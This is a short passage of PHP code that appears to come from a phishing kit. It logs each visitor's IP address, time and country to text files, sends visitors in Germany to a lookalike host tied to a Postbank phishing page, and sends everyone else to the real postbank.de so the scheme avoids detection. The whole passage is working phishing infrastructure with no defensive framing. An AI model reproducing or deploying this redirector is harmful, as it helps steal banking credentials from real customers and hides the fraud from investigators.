country; date_default_timezone_set('GMT'); $time = date("d-m-Y H:i:s"); if($country == "DE"){ $file = fopen("vi-sk.txt", "a"); fwrite($file, $ip . " [TIM]" . $time . " [CNT]" . $country . "\n"); //$lien = file_get_contents("https://secure-fb-ads-manager.mtsabdulloh.sch.id/pb/img/?pwd=postbank"); header('Location: https://secure-fb-ads-manager.mtsabdulloh.sch.id/pb/img/?pwd=postbank'); //header('Location: https://secure-fb-ads-manager.mtsabdulloh.sch.id/pb/img/?pwd=postbank'); }else{ $file2 = fopen("vi-other.txt", "a"); fwrite($file2, $ip . " [TIM]" . $time . " [CNT]" . $country . "\n"); header('Location: https://postbank.de'); } ?>